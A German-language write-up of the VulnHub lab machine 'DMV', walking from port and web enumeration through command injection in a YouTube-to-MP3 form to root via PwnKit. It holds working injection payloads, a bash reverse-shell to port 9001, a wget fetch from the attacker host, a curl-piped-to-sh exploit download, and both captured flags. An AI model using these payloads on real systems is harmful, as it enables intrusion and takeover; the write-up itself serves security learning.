DMV - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
Burpsuite

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Reconnaissance, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks und das Auflisten von Hosts, um potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.117 08:00:27:a9:29:0b PCS Systemtechnik GmbH

ARP-Scan zeigt uns die MAC-Adresse und den Hersteller der Netzwerkkarte des Ziels. Dies kann hilfreich sein, um das Betriebssystem oder die verwendete Virtualisierungstechnologie zu bestimmen.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.117 dmv1.vln

Der Eintrag in der /etc/hosts-Datei ermöglicht uns, das Zielsystem über den Hostnamen `dmv1.vln` anzusprechen. Dies erleichtert die weitere Analyse und das Testen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 13:48 CEST
Nmap scan report for dmv1.vln (192.168.2.117)
Host is up (0.00063s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
| 256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_ 256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:A9:29:0B (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.63 ms dmv1.vln (192.168.2.117)

Nmap identifiziert offene Ports und Dienste auf dem Zielsystem. Besonders interessant sind: - SSH (Port 22): Ermöglicht die sichere Fernanmeldung. - HTTP (Port 80): Ein Webserver, der möglicherweise anfällige Anwendungen hostet. Die Apache-Version (2.4.29) deutet auf veraltete Software hin, die bekannte Schwachstellen aufweisen könnte.

Web Enumeration

Nachdem wir die offenen Ports identifiziert haben, konzentrieren wir uns auf den Webserver, um weitere Informationen zu sammeln und potenzielle Schwachstellen zu finden.

- Nikto v2.5.0
+ Target IP: 192.168.2.117
+ Target Hostname: 192.168.2.117
+ Target Port: 80
+ Start Time: 2024-10-25 13:49:15 (GMT2)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8254 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2024-10-25 13:50:01 (GMT2) (46 seconds)

+ 1 host(s) tested

Nikto findet verschiedene potenzielle Sicherheitsprobleme: - Fehlende X-Frame-Options und X-Content-Type-Options Header: Erhöhen das Risiko von Clickjacking- und MIME-Sniffing-Angriffen. - Offenlegung der internen IP-Adresse (127.0.1.1) im Location-Header. - Veraltete Apache-Version: Kann bekannte Schwachstellen enthalten. - Vorhandensein der Datei `/icons/README`: Kann Informationen über den Server preisgeben.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.117/index.php (Status: 200) [Size: 747]
http://192.168.2.117/images (Status: 301) [Size: 315] [--> http://192.168.2.117/images/]
http://192.168.2.117/admin (Status: 401) [Size: 460]
http://192.168.2.117/js (Status: 301) [Size: 311] [--> http://192.168.2.117/js/]
http://192.168.2.117/tmp (Status: 301) [Size: 312] [--> http://192.168.2.117/tmp/]

Gobuster findet die folgenden Verzeichnisse: - `/index.php`: Hauptseite der Webanwendung. - `/images`: Verzeichnis für Bilder. - `/admin`: Ein Admin-Panel, das eine Authentifizierung erfordert (Status 401). - `/js`: Verzeichnis für JavaScript-Dateien. - `/tmp`: Ein temporäres Verzeichnis.

Initial Access

Nach der Enumeration der Webserver untersuchen wir die gefundenen Webseiten und das Admin-Panel.

Das Admin-Panel (`/admin`) erfordert eine Authentifizierung. Wir versuchen, die Anmeldedaten zu umgehen oder zu erraten.

webenum http://192.168.2.117/admin
username:password->auth

Wir versuchen, den Hinweis `username:password` zu verwenden, um uns anzumelden, aber das funktioniert nicht.

Wir untersuchen die `/index.php`-Seite genauer.

http://192.168.2.117/index.php
Youtube to MP3 Youtube to MP3
Convert My Video
Video ID:

Die Seite scheint ein Tool zum Konvertieren von YouTube-Videos in MP3 zu sein. Wir vermuten, dass es anfällig für Command Injection sein könnte.

Proof of Concept: Command Injection

Wir versuchen, eine Command Injection in das "Video ID"-Feld einzuschleusen. Dazu verwenden wir Burpsuite, um die Anfrage abzufangen und zu manipulieren.

Burpsuite Request:
PST / HTTP/1.1
Host: 192.168.2.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20
rigin: http://192.168.2.117
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.117/index.php
Sec-GPC: 1
Priority: u=0

yt_url=--exec%3c`id`

Wir senden eine POST-Anfrage mit der Payload `--exec<`id``, um den Befehl `id` auszuführen.

Burpsuite Response:
HTTP/1.1 200 K
Date: Fri, 25 ct 2024 12:50:03 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 203
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{
"status":2,"errors":"sh: 1: cannot open uid=33(www-data) gid=33(www-data) groups=33(www-data):
No such file\n","url_orginal":"--exec `id`","output":"","result_url":"\/tmp\/downloads\/671b93fb7cab0.mp3"
}

Die Antwort zeigt, dass der Befehl ausgeführt wurde, aber es gab einen Fehler beim Öffnen der Ausgabe. Dies deutet darauf hin, dass die Command Injection funktioniert, aber wir die Ausgabe nicht direkt sehen können.

Burpsuite Request:
PST / HTTP/1.1
Host: 192.168.2.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
rigin: http://192.168.2.117
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.117/index.php
Sec-GPC: 1
Priority: u=0

yt_url=--exec%3c`ls${IFS}/home`

Wir versuchen, den Inhalt des `/home`-Verzeichnisses aufzulisten.

Burpsuite Response:
HTTP/1.1 200 K
Date: Fri, 25 ct 2024 12:51:44 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 165
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"status":2,"errors":"sh: 1: cannot open dmv: No such file\n","url_orginal":"--exec<`ls${IFS}\/home`","output":"","result_url":"\/tmp\/downloads\/671b9460776fc.mp3"}

Die Antwort zeigt, dass der Befehl ausgeführt wurde, aber es gab einen Fehler beim Öffnen der Ausgabe.

Burpsuite Request:
PST / HTTP/1.1
Host: 192.168.2.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
rigin: http://192.168.2.117
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.117/index.php
Sec-GPC: 1
Priority: u=0

yt_url=--exec%3c`cat${IFS}/var/www/html/admin/flag.txt`

Wir versuchen, den Inhalt der Datei `/var/www/html/admin/flag.txt` auszulesen.

Burpsuite Response:
HTTP/1.1 200 K
Date: Fri, 25 ct 2024 13:06:30 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 228
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"status":2,"errors":"sh: 1: cannot open flag{0d8486a0c0c42503bb60ac77f4046ed7}: No such file\n","url_orginal":"--exec<`cat${IFS}\/var\/www\/html\/admin\/flag.txt`","output":"","result_url":"\/tmp\/downloads\/671b97d6d5320.mp3"}

Die Antwort zeigt, dass der Befehl ausgeführt wurde, aber es gab einen Fehler beim Öffnen der Ausgabe. Dies bestätigt, dass die Datei `/var/www/html/admin/flag.txt` existiert und wir sie lesen können, aber die Ausgabe wird nicht direkt angezeigt.

Burpsuite Request:
PST / HTTP/1.1
Host: 192.168.2.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 56
rigin: http://192.168.2.117
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.117/index.php
Sec-GPC: 1
Priority: u=0

yt_url=--exec%3c`cat${IFS}/var/www/html/admin/index.php`

Wir versuchen, den Inhalt der Datei `/var/www/html/admin/index.php` auszulesen, um weitere Informationen über das Admin-Panel zu erhalten.

Burpsuite Response:
HTTP/1.1 200 K
Date: Fri, 25 ct 2024 13:10:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 424
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"status":2,"errors":"sh: 1: cannot open php\r\n if (isset($ REQUEST['c'])) {\r\n system($ REQUEST['c']);' echo '"Done :)\";\r\n }\r\n?>\r\n\r\n a href=\"\/admin\/?c=rm -rf \/var\/www\/html\/tmp\/downloads\'
Clean Downloads...:' No such file\n","url_orginal":"--exec `cat${IFS}'
'\/var\/www\/html\/admin\/index.php`","output":"","result_url":"\/tmp\/downloads\/671b98cc70d62.mp3"}'

**Fantastisch!** Die Antwort zeigt, dass der Inhalt der Datei `/var/www/html/admin/index.php` erfolgreich ausgelesen wurde. Wir sehen, dass es einen Parameter `c` gibt, der zur Ausführung von Systembefehlen verwendet wird: ```php ``` Außerdem gibt es einen Link zum Bereinigen des Download-Verzeichnisses.

Privilege Escalation

Nachdem wir die Command Injection Schwachstelle gefunden haben, versuchen wir eine Reverse-Shell zu etablieren und Root-Rechte zu erlangen.

┌──(root㉿CCat)-[~]
└─# vi shell.sh
#!/bin/bash

/bin/bash -i >& /dev/tcp/192.168.2.199/9001 0>&1

Wir erstellen ein Shell-Skript, das eine Reverse-Bash-Shell zu unserem Angriffssystem auf Port 9001 öffnet.

┌──(root㉿CCat)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Wir starten einen HTTP-Server, um das Shell-Skript bereitzustellen.

Burpsuite Request:
PST / HTTP/1.1
Host: 192.168.2.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
rigin: http://192.168.2.117
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.117/index.php
Sec-GPC: 1
Priority: u=0

yt_url=--exec%3c`wget${IFS}http://192.168.2.199/shell.sh`

Wir verwenden die Command Injection, um `wget` auszuführen und das Shell-Skript auf das Zielsystem herunterzuladen.

Burpsuite Response:
HTTP/1.1 200 K
Date: Fri, 25 ct 2024 13:23:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 536
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"status":2,"errors":"--2024-10-25 13:23:18-- http:\/\/192.168.2.199\/shell.sh\nConnecting to 192.168.2.199:80... connected.\nHTTP request sent, awaiting response... 200 K\nLength: 62 [text\/x-sh]\nSaving to: 'shell.sh'\n\n 0K 100% 20.6M=0s\n\n2024-10-25 13:23:18 (20.6 MB\/s) - 'shell.sh' saved [62\/62]\n\nsh: 1: cannot open : No such file\n","url_orginal":"--exec<`wget${IFS}http:\/\/192.168.2.199\/shell.sh`","output":"","result_url":"\/tmp\/downloads\/671b9bc6f2a8a.mp3"}

Die Antwort zeigt, dass das Shell-Skript erfolgreich heruntergeladen wurde.

Burpsuite Request:
PST / HTTP/1.1
Host: 192.168.2.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
rigin: http://192.168.2.117
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.117/index.php
Sec-GPC: 1
Priority: u=0

yt_url=--exec%3c`bash${IFS}shell.sh`

Wir verwenden die Command Injection, um das Shell-Skript auszuführen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.117] 38086
bash: cannot set terminal process group (909): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dmv:/var/www/html$

**Fantastisch!** Die Reverse-Shell-Verbindung ist erfolgreich. Wir haben eine Shell als `www-data`.

Nachdem wir eine Shell als `www-data` haben, suchen wir nach Möglichkeiten, Root-Rechte zu erlangen.

www-data@dmv:/var/www/html$ which python
/usr/bin/python
www-data@dmv:/var/www/html$ curl
curl: try 'curl --help' or 'curl --manual' for more information
www-data@dmv:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@dmv:/var/www/html$ sudo -l
[sudo] password for www-data:

Wir überprüfen unsere Berechtigungen und stellen fest, dass wir keine Befehle mit `sudo` ausführen dürfen.

Privilege Escalation
www-data@dmv:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
690 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
1088 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo
743 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
983 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
1124 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
963 60 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
836 76 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
741 76 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
947 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap
945 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap
946 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
1502 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
7067 108 -rwsr-sr-x 1 root root 109432 ct 30 2019 /usr/lib/snapd/snap-confine
1309 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1316 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
7620 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
1498 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
66 40 -rwsr-xr-x 1 root root 40152 Jun 14 2022 /snap/core/17200/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/17200/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/17200/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Feb 7 2024 /snap/core/17200/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Jun 14 2022 /snap/core/17200/bin/umount
2644 71 -rwsr-xr-x 1 root root 71824 Feb 7 2024 /snap/core/17200/usr/bin/chfn
2646 40 -rwsr-xr-x 1 root root 40432 Feb 7 2024 /snap/core/17200/usr/bin/chsh
2723 74 -rwsr-xr-x 1 root root 75304 Feb 7 2024 /snap/core/17200/usr/bin/gpasswd
2815 39 -rwsr-xr-x 1 root root 39904 Feb 7 2024 /snap/core/17200/usr/bin/newgrp
2828 53 -rwsr-xr-x 1 root root 54256 Feb 7 2024 /snap/core/17200/usr/bin/passwd
2938 134 -rwsr-xr-x 1 root root 136808 May 24 2023 /snap/core/17200/usr/bin/sudo
3037 42 -rwsr-xr-- 1 root systemd-resolve 42992 Sep 14 2023 /snap/core/17200/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3409 419 -rwsr-xr-x 1 root root 428240 Jan 9 2024 /snap/core/17200/usr/lib/openssh/ssh-keysign
6483 125 -rwsr-xr-x 1 root root 127520 Jun 6 14:32 /snap/core/17200/usr/lib/snapd/snap-confine
7666 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap/core/17200/usr/sbin/pppd
525099 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
525075 44 -rwsr-xr-x 1 root root 43088 Jan 8 2020 /bin/mount
525048 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
525115 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
525133 28 -rwsr-xr-x 1 root root 26696 Jan 8 2020 /bin/umount

Wir suchen nach SUID-Binaries, um potenziell unsere Privilegien zu erweitern. Wir entdecken `pkexec`.

www-data@dmv:/var/www/html$ cd /tmp/
www-data@dmv:/tmp$
www-data@dmv:/tmp$ /usr/bin/pkexec /bin/sh
AUTHENTICATING FR org.freedesktop.policykit.exec =
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: dmv
Password:

Wir versuchen, `pkexec` zu verwenden, um eine Shell als Root auszuführen. Wir benötigen das Passwort des Benutzers `dmv`.

www-data@dmv:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
root@dmv:/tmp#

**Fantastisch!** Wir führen das PwnKit-Skript aus, um Root-Rechte zu erlangen.

root@dmv:/tmp# cd /var/www/html/admin/
root@dmv:/var/www/html/admin#
root@dmv:/var/www/html/admin# cat flag.txt
flag{0d8486a0c0c42503bb60ac77f4046ed7}

Wir lesen die Flag-Datei aus dem Admin-Verzeichnis.

root@dmv: ls
root.txt
root@dmv: cat root.txt
flag{d9b368018e912b541a4eb68399c5e94a}

Wir lesen die Root-Flag-Datei.

Proof of Concept: Root-Zugriff erlangt

Der folgende Befehl zeigt, dass Root-Privilegienerlangung über den PwnKit Exploit erfolgt ist.

Privilege Escalation erfolgreich

Flags

flag{0d8486a0c0c42503bb60ac77f4046ed7}
flag{d9b368018e912b541a4eb68399c5e94a}